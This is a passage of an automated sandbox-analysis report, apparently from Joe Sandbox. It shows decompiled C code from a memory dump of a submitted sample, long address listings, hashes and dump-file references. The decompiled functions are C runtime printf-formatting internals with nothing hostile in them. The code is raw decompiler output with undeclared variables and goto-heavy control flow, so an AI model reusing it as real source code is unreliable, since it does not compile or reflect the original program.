								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								goto L182;
							}
						}
						L168:
						__eflags =  *(_t701 - 0x2b8);
						if( *(_t701 - 0x2b8) >= 0) {
							goto L170;
						}
						goto L169;
						L170:
						 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
						 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
						goto L171;
					}
				}
			}

0x00434ffc
0x00434ffc
0x00434ffc
0x00434ffc
0x00434ffc
0x00434ffc
0x00434ffc
0x0043500c
0x0043500e
0x00435011
0x00435011
0x00435017
0x00435017
0x0043501a
0x0043501a
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350da
0x004350df
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bf
0x004350c4
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435099
0x0043509e
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x0043507d
0x00435082
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x00435050
0x00435055
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435028
0x0043502d
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f6
0x00000000
0x00000000
0x004350f8
0x004350f8
0x004350ff
0x00000000
0x00000000
0x00435101
0x00435101
0x0043510c
0x0043511a
0x0043511f
0x00435125
0x00435133
0x00435150
0x00435153
0x00435158
0x0043515d
0x00435163
0x00435171
0x00435171
0x0043517a
0x0043517a
0x00435163
0x00435180
0x00435184
0x00435195
0x00435198
0x0043519f
0x004351a1
0x004351a1
0x00435186
0x00435186
0x00435186
0x004351ae
0x004351b4
0x004351b6
0x004351b6
0x004351c0
0x004351c3
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x004351d3
0x004351d9
0x004351df
0x0043525c
0x00435262
0x0043526b
0x00435271
0x00435277
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x004352ac
0x004352af
0x004352b2
0x004352b7
0x004352bc
0x004352ce
0x004352d1
0x004352e3
0x004352e6
0x004352e8
0x004352ec
0x004352ec
0x004352d3
0x004352d3
0x004352d7
0x004352d7
0x004352be
0x004352be
0x004352c2
0x004352c2
0x004352bc
0x004352fc
0x00435305
0x00435308
0x0043531e
0x00435323
0x00435323
0x00435339
0x0043533e
0x00435344
0x00435347
0x0043534c
0x0043534f
0x00435365
0x0043536a
0x0043536a
0x0043534f
0x0043536d
0x00435371
0x00435445
0x00435458
0x0043545d
0x00000000
0x00435377
0x00435377
0x00435377
0x0043537b
0x00000000
0x00000000
0x00435381
0x00435381
0x0043538e
0x00435397
0x0043539d
0x0043539d
0x004353ac
0x004353b2
0x004353b4
0x00000000
0x00000000
0x004353ba
0x004353c3
0x004353e2
0x004353e7
0x004353ea
0x004353f9
0x004353ff
0x00435406
0x00435411
0x00435411
0x00000000
0x00435411
0x00435408
0x00435408
0x0043540f
0x0043541d
0x00435436
0x0043543b
0x00000000
0x0043543b
0x00000000
0x0043540f
0x00435443
0x00435460
0x00435460
0x00435467
0x0043546c
0x0043546f
0x00435485
0x0043548a
0x0043548a
0x0043546f
0x00435467
0x0043548d
0x0043548d
0x00435491
0x00435499
0x0043549e
0x004354a1
0x004354a1
0x004354a8
0x004354a8
0x0043457f
0x00434585
0x00434592
0x00434597
0x00000000
0x004345aa
0x004345b4
0x004345db
0x004345c2
0x004345d3
0x004345d3
0x004345b4
0x004345e5
0x004345eb
0x004345f7
0x004345fa
0x00434608
0x0043460b
0x00434618
0x004346bd
0x004346c3
0x004346c9
0x004346d0
0x00000000
0x00000000
0x004346d6
0x004346dc
0x00000000
0x004346e3
0x004346e3
0x004346fb
0x00434700
0x00434703
0x00434705
0x004347bf
0x004347d2
0x004347d7
0x00000000
0x0043470b
0x0043471e
0x00434723
0x00434729
0x0043472b
0x00434734
0x00434734
0x00434737
0x00434743
0x00434747
0x0043474d
0x0043474f
0x00434754
0x00434756
0x0043475b
0x00434760
0x00434762
0x00434767
0x0043476a
0x0043476d
0x0043476f
0x0043476f
0x0043476d
0x00434770
0x00434770
0x00434777
0x00000000
0x00434779
0x0043477e
0x0043479a
0x004347a2
0x004347af
0x004347b4
0x00000000
0x004347b4
0x00434777
0x00000000
0x004347df
0x004347df
0x004347e6
0x004347e9
0x004347ec
0x004347ef
0x004347f2
0x004347f5
0x004347f8
0x004347ff
0x00434806
0x00000000
0x00000000
0x00434812
0x00434812
0x00434819
0x00434825
0x00434828
0x0043482e
0x00434835
0x00000000
0x00000000
0x00434837
0x00434837
0x0043483d
0x0043483d
0x00434844
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434887
0x00434887
0x0043488e
0x00434891
0x004348bb
0x004348be
0x004348be
0x004348c1
0x004348c8
0x004348c8
0x004348cc
0x00434893
0x00434893
0x0043489f
0x004348a2
0x004348a6
0x004348a8
0x004348ab
0x004348ab
0x004348ae
0x004348b4
0x004348b6
0x004348b6
0x004348b9
0x00000000
0x00000000
0x004348d4
0x004348d4
0x00000000
0x00000000
0x004348e0
0x004348e0
0x004348e7
0x004348ea
0x0043490a
0x0043490d
0x0043490d
0x00434917
0x00434917
0x0043491b
0x004348ec
0x004348ec
0x004348f8
0x004348fb
0x004348ff
0x00434901
0x00434901
0x00434908
0x00000000
0x00000000
0x00434923
0x00434923
0x0043492a
0x00434936
0x00434939
0x0043493f
0x00434946
0x00434a59
0x00000000
0x00434a59
0x0043494c
0x0043494c
0x00434952
0x00434952
0x00434959
0x00000000
0x0043498f
0x0043498f
0x00434992
0x00434995
0x00434998
0x004349c0
0x004349c0
0x004349c3
0x004349c6
0x004349c9
0x004349ee
0x004349ee
0x004349f1
0x004349f4
0x004349f7
0x00434a30
0x00434a41
0x00000000
0x00434a41
0x004349f9
0x004349f9
0x004349fc
0x004349ff
0x00434a02
0x00000000
0x00000000
0x00434a04
0x00434a04
0x00434a07
0x00434a0a
0x00434a0d
0x00000000
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00000000
0x00000000
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a20
0x00434a23
0x00000000
0x00000000
0x00434a25
0x00434a25
0x00434a28
0x00434a2b
0x00434a2e
0x00434a32
0x00000000
0x00434a32
0x00000000
0x00434a2e
0x004349cb
0x004349cb
0x004349ce
0x004349d2
0x004349d5
0x00000000
0x004349d7
0x004349da
0x004349dd
0x004349e0
0x004349e3
0x004349e9
0x00000000
0x004349e9
0x004349d5
0x0043499a
0x0043499a
0x0043499d
0x004349a1
0x004349a4
0x00000000
0x004349a6
0x004349a9
0x004349ac
0x004349af
0x004349b2
0x004349b8
0x00000000
0x004349b8
0x00000000
0x00434a43
0x00434a46
0x00434a49
0x00000000
0x00000000
0x00434960
0x00434960
0x00434963
0x00434966
0x00434969
0x00434981
0x00434984
0x00434984
0x00434987
0x0043496b
0x0043496e
0x00434971
0x00434977
0x0043497c
0x0043497c
0x00000000
0x00000000
0x00434a4e
0x00434a4e
0x00434a51
0x00434a51
0x00434a56
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434a5e
0x00434a5e
0x00434a65
0x00434a71
0x00434a74
0x00434a7a
0x00434a81
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434a87
0x00434a8d
0x00434a8d
0x00434a94
0x00000000
0x00434dee
0x00434dee
0x00434df5
0x00434dfc
0x00434dfc
0x00434dff
0x00000000
0x00000000
0x00434a9b
0x00434a9e
0x00434a9e
0x00434aa4
0x00434aa6
0x00434aa9
0x00434aa9
0x00434aae
0x00434aae
0x00000000
0x00000000
0x00434bdb
0x00434bde
0x00434bde
0x00434be3
0x00434be5
0x00434be8
0x00434be8
0x00434bee
0x00434bee
0x00000000
0x00000000
0x00434fbb
0x00434fbb
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b51
0x00434b57
0x00434b5e
0x00434b6c
0x00434b6c
0x00434b72
0x00434b75
0x00434b81
0x00434bd6
0x00000000
0x00434bd6
0x00434b60
0x00434b60
0x00434b66
0x00434b6a
0x00434b86
0x00434b89
0x00434b89
0x00434b8f
0x00434bb7
0x00434bbe
0x00434bc4
0x00434bc7
0x00434bca
0x00434bd0
0x00434bd3
0x00434b91
0x00434b91
0x00434b97
0x00434b9a
0x00434b9d
0x00434ba3
0x00434ba6
0x00434ba9
0x00434bab
0x00434bae
0x00434bae
0x00000000
0x00434b8f
0x00000000
0x00000000
0x00434e05
0x00434e08
0x00434e0b
0x00434e0e
0x00434e14
0x00434e17
0x00434e1e
0x00434e22
0x00434e2d
0x00434e2d
0x00434e31
0x00434e48
0x00434e48
0x00434e4f
0x00434e51
0x00434e51
0x00434e58
0x00434e58
0x00434e5f
0x00434e70
0x00434e7f
0x00434e82
0x00434e86
0x00434e9c
0x00434e88
0x00434e88
0x00434e8b
0x00434e91
0x00434e97
0x00434e97
0x00434e86
0x00434ea6
0x00434ea9
0x00434eac
0x00434eaf
0x00434eb2
0x00434eb5
0x00434ebb
0x00434ec1
0x00434ec9
0x00434eca
0x00434ecd
0x00434ece
0x00434ed1
0x00434ed2
0x00434ed9
0x00434eda
0x00434edd
0x00434ede
0x00434ee1
0x00434ee2
0x00434ee8
0x00434ee9
0x00434ef7
0x00434ef9
0x00434eff
0x00434eff
0x00434f05
0x00434f07
0x00434f0b
0x00434f0d
0x00434f15
0x00434f16
0x00434f19
0x00434f1a
0x00434f28
0x00434f2a
0x00434f2a
0x00434f0b
0x00434f2d
0x00434f34
0x00434f37
0x00434f3c
0x00434f3c
0x00434f42
0x00434f44
0x00434f4c
0x00434f4d
0x00434f50
0x00434f51
0x00434f60
0x00434f62
0x00434f62
0x00434f42
0x00434f65
0x00434f68
0x00434f6b
0x00434f6e
0x00434f73
0x00434f79
0x00434f7c
0x00434f7f
0x00434f7f
0x00434f82
0x00434f82
0x00434f85
0x00434f91
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x004352a2
0x00434e33
0x00434e33
0x00434e3a
0x00434e3d
0x00000000
0x00000000
0x00434e3f
0x00434e3f
0x00000000
0x00434e3f
0x00434e24
0x00434e24
0x00000000
0x00000000
0x00434ab1
0x00434ab4
0x00434ab4
0x00434aba
0x00434b15
0x00434b1d
0x00434b24
0x00434b2a
0x00434b30
0x00434abc
0x00434abc
0x00434ac6
0x00434aca
0x00434ad2
0x00434ad9
0x00434ae6
0x00434aed
0x00434af9
0x00434aff
0x00434b06
0x00434b08
0x00434b08
0x00434b0f
0x00434b37
0x00434b3d
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00434f99
0x00434f9c
0x00434f9f
0x00434fa2
0x0043501a
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350da
0x004350df
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bf
0x004350c4
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435099
0x0043509e
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x0043507d
0x00435082
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x00435050
0x00435055
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435028
0x0043502d
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f6
0x00000000
0x00000000
0x00000000
0x00434cf7
0x00434cf7
0x00434d03
0x00434d09
0x00434d0e
0x00434d10
0x00434dba
0x00434dbd
0x00434dbd
0x00434dc0
0x00434dd4
0x00434dda
0x00434de0
0x00434dc2
0x00434dc2
0x00434dcf
0x00434dcf
0x00434de2
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00434d16
0x00434d16
0x00434d16
0x00434d18
0x00434d26
0x00434d1a
0x00434d1a
0x00434d1a
0x00434d30
0x00434d36
0x00434d3c
0x00434d43
0x00434d45
0x00434d4a
0x00434d4c
0x00434d51
0x00434d56
0x00434d58
0x00434d5d
0x00434d60
0x00434d63
0x00434d65
0x00434d65
0x00434d63
0x00434d66
0x00434d6d
0x00434db5
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00434d6f
0x00434d6f
0x00434d74
0x00434d90
0x00434d98
0x00434da2
0x00434da5
0x00434daa
0x00000000
0x00434daa
0x00000000
0x00000000
0x00000000
0x00434fb4
0x00434fb4
0x00000000
0x00000000
0x00434bf1
0x00434bf1
0x00434bf5
0x00434c03
0x00434c06
0x00434bf7
0x00434bf7
0x00434bf7
0x00434c0c
0x00434c12
0x00434c18
0x00434c24
0x00434c2a
0x00434c2a
0x00434c30
0x00434c97
0x00434c97
0x00434c9b
0x00434c9d
0x00434ca3
0x00434ca3
0x00434ca6
0x00434ca9
0x00434caf
0x00434caf
0x00434caf
0x00434cbb
0x00434cbe
0x00434cc4
0x00434cc6
0x00000000
0x00000000
0x00434cc8
0x00434cc8
0x00434cce
0x00434cd1
0x00434cd3
0x00000000
0x00000000
0x00434cd5
0x00434cdb
0x00434cde
0x00434cde
0x00434ce6
0x00434ce6
0x00434cec
0x00434cec
0x00434cef
0x00000000
0x00434c32
0x00434c32
0x00434c32
0x00434c36
0x00434c38
0x00434c3d
0x00434c3d
0x00434c40
0x00434c47
0x00434c4a
0x00434c50
0x00434c50
0x00434c50
0x00434c5c
0x00434c5f
0x00434c65
0x00434c67
0x00000000
0x00000000
0x00434c69
0x00434c69
0x00434c6f
0x00434c72
0x00434c74
0x00000000
0x00000000
0x00434c76
0x00434c7c
0x00434c7f
0x00434c7f
0x00434c87
0x00434c8d
0x00434c90
0x00434c92
0x00434cf2
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x004352a2
0x00000000
0x00434fab
0x00434fab
0x0043501a
0x0043501a
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350da
0x004350df
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bf
0x004350c4
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435099
0x0043509e
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x0043507d
0x00435082
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x00435050
0x00435055
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435028
0x0043502d
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f6
0x00000000
0x00000000
0x00000000
0x004350f6
0x00000000
0x00434fc7
0x00434fc7
0x00434fd1
0x00434fd1
0x00434fdb
0x00434fdb
0x00434fe1
0x00434fe3
0x00434fed
0x00434fed
0x00434ff0
0x00434ff3
0x00434ff3
0x0043501a
0x0043501a
0x0043501d
0x00435022
0x00435044
0x00435044
0x0043504a
0x0043506c
0x0043506f
0x004350b6
0x004350b6
0x004350b9
0x004350da
0x004350df
0x004350e2
0x004350e4
0x004350ea
0x004350bb
0x004350bf
0x004350c4
0x004350c7
0x004350c8
0x004350ce
0x004350ce
0x00435071
0x00435074
0x00435074
0x00435077
0x00435099
0x0043509e
0x004350a4
0x004350a5
0x004350ab
0x00435079
0x0043507d
0x00435082
0x00435086
0x00435087
0x0043508d
0x0043508d
0x004350b1
0x0043504c
0x00435050
0x00435055
0x00435058
0x0043505e
0x0043505e
0x00435024
0x00435028
0x0043502d
0x00435030
0x00435036
0x00435036
0x004350f3
0x004350f6
0x00000000
0x00000000
0x00000000
0x004350f6
0x00000000
0x004352a2
0x004352a2
0x004352a2
0x004352a6
0x00000000
0x00000000
0x00000000
0x004352a6
0x00000000
0x00000000
0x00434861
0x00434864
0x00434867
0x00000000
0x00000000
0x0043486c
0x0043486f
0x00434874
0x00000000
0x00000000
0x00434856
0x00434856
0x00434859
0x0043485c
0x00000000
0x00000000
0x0043484b
0x0043484e
0x00434851
0x00000000
0x00000000
0x00434879
0x00434879
0x0043487c
0x0043487c
0x0043487f
0x00000000
0x00000000
0x00434882
0x00000000
0x00000000
0x0043461e
0x00434620
0x0043462e
0x00434622
0x00434622
0x00434622
0x00434638
0x0043463e
0x0043464b
0x0043464d
0x00434652
0x00434654
0x00434659
0x0043465e
0x00434660
0x00434665
0x0043466b
0x0043466d
0x0043466d
0x0043466b
0x0043466e
0x00434675
0x00000000
0x00434677
0x0043467c
0x00434698
0x004346a0
0x004346ad
0x004346b2
0x00435571
0x0043557e
0x0043557e
0x00434675
0x00434618
0x004354ad
0x004354ad
0x004354b4
0x004354cb
0x004354cb
0x004354d5
0x004354d5
0x004354db
0x004354e1
0x004354e8
0x004354ea
0x004354ef
0x004354f1
0x004354f6
0x004354fb
0x004354fd
0x00435502
0x00435505
0x00435508
0x0043550a
0x0043550a
0x00435508
0x0043550b
0x00435512
0x0043555d
0x00435566
0x0043556b
0x00435514
0x00435519
0x00435535
0x0043553d
0x0043554a
0x0043554f
0x0043554f
0x00000000
0x00435512
0x004354b6
0x004354b6
0x004354bd
0x00000000
0x00000000
0x004354bf
0x004354bf
0x00000000
0x004354bf
0x004352a2
0x00435279
0x00435279
0x0043527d
0x0043528a
0x00435290
0x00435296
0x0043529c
0x0043529c
0x0043529f
0x00000000
0x0043529f
0x0043527f
0x00435285
0x00435288
0x00000000
0x00000000
0x00000000
0x00435288
0x004351e1
0x004351e4
0x004351ee
0x004351fd
0x00435206
0x0043521c
0x00435222
0x00435228
0x0043522f
0x00435237
0x00435237
0x0043523d
0x0043523d
0x0043524c
0x00435254
0x004351c3
0x004351c9
0x004351cc
0x004351cf
0x004351d1
0x00000000
0x00000000
0x00000000
0x004351d1
0x004351c3
0x00435103
0x00435103
0x0043510a
0x00000000
0x00000000
0x00000000
0x00435138
0x0043513e
0x0043514a
0x00000000
0x0043514a
0x0043501a

APIs

_get_int64_arg.LIBCMTD ref: 00435028
__aullrem.LIBCMT ref: 004351F5
__aulldiv.LIBCMT ref: 00435217

Strings

9, xrefs: 00435228

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction ID: e608d46e947ee8c72fe73e041b5f508f490295d22b03737e484e6dc22101b3e6
Opcode Fuzzy Hash: 8e479b186c38faee6beb2dcedf8807de491c87e4a157677048558e769635c527
Instruction Fuzzy Hash: 2541D471D06A29DFEF24CF48CC99BAEB7B5BB48300F20959AD049A7240D7385E80CF84

Uniqueness

Uniqueness Score: -1.00%

Function 00427D3C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427D3C(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E00428370(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E00428370(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E00428370(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E00428370(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E00428390(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E00428390(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E004307A0(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E00430820( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C550( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404430) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404450) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M00428268))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E00431230( *(_t666 - 0x251) & 0x000000ff, E0041AE60(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00435690( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00435690( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E390();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422E80(_t582))) = 0x16;
																								E00422C10(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041AE30(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BCD0(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x4282a0; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428288))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
